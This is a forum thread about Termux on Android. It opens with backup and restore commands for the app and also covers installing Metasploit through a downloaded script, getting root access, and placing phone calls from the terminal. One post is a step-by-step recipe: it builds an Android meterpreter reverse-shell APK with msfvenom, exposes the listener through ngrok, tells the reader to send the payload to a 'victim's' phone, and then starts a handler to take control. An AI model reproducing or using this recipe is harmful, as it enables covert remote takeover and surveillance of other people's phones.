How to backup and restore android app like Termux

Go down

How to backup and restore android app like Termux

Post by jamied_uk on 19th November 2017, 03:10

Backup
Code:
cd /data/data/com.termux/files
tar -cvzf /sdcard/Download/termux.tgz home usr
Restore
Code:
cd /data/data/com.termux/files
tar -xvzf /sdcard/Download/termux.tgz
avatar
jamied_uk
Admin

Posts : 2312
Join date : 2010-05-09
Age : 35
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: How to backup and restore android app like Termux

Post by jamied_uk on 13th December 2017, 15:16

Ngrok

Setting Up

Code:
termux-setup-storage



Code:
Download (arm)

https://ngrok.com/


command are here 1st forward port with ngrok type

Code:
./ngrok tcp 4444



then change your directory to metasploit framework $cd Metasploit Framework

Code:
$ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io
LPORT='ngrok port'

R is Greater than sign /sdcard/yourapkname.apk

send the payload to the victims phone

Code:
$ ./msfconsole

$msf - use exploit/multi/handler
$msf - set payload android/meterpreter/reverse_tcp
$msf - set lhost 0.tcp.ngrok.io
$msf - set lport '


your port which you have sent in ngrok (eg. 4444)'

Code:
$msf - exploit


Last edited by jamied_uk on 13th December 2017, 15:50; edited 1 time in total
avatar
jamied_uk
Admin

Posts : 2312
Join date : 2010-05-09
Age : 35
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: How to backup and restore android app like Termux

Post by jamied_uk on 13th December 2017, 15:27

Metasploit Framework Installation


1st if you get repository error in termux then you have to reinstall termux

2nd if you get bundle error then you have to simply type command

bundle install

( if get again error again you type this command this can reinstall the bundle packages and fix the missing bundle) Metasploit Framework :-- Its best-known sub-project is the open source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research. command are here :- $

Code:
apt  update
apt upgrade
apt install curl
curl  -LO  https://raw.githubusercontent.com/1Tech-X/Metasploit-/master/metasploit.sh
cd metasploit-framework-4.14.28
./ msfconsole



if get bundle error or bundle is missing then type


Code:
bundle install

again start

Code:
./msfconsole



metasploit framework is starting......../
avatar
jamied_uk
Admin

Posts : 2312
Join date : 2010-05-09
Age : 35
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: How to backup and restore android app like Termux

Post by jamied_uk on 13th December 2017, 15:38

Root Access Via Termux Android Phone Setup

Code:
apt install tsu
avatar
jamied_uk
Admin

Posts : 2312
Join date : 2010-05-09
Age : 35
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: How to backup and restore android app like Termux

Post by jamied_uk on 13th December 2017, 16:06

Making Calls From Termux


Code:
apt install termux-api

termux-telephony-call (number)

From Chrom browser:

play.google.com/store/apps/details?id=com.termux.api
avatar
jamied_uk
Admin

Posts : 2312
Join date : 2010-05-09
Age : 35
Location : UK

http://address-shortner.co.uk

Back to top Go down

Re: How to backup and restore android app like Termux

Post by Sponsored content


Sponsored content


Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum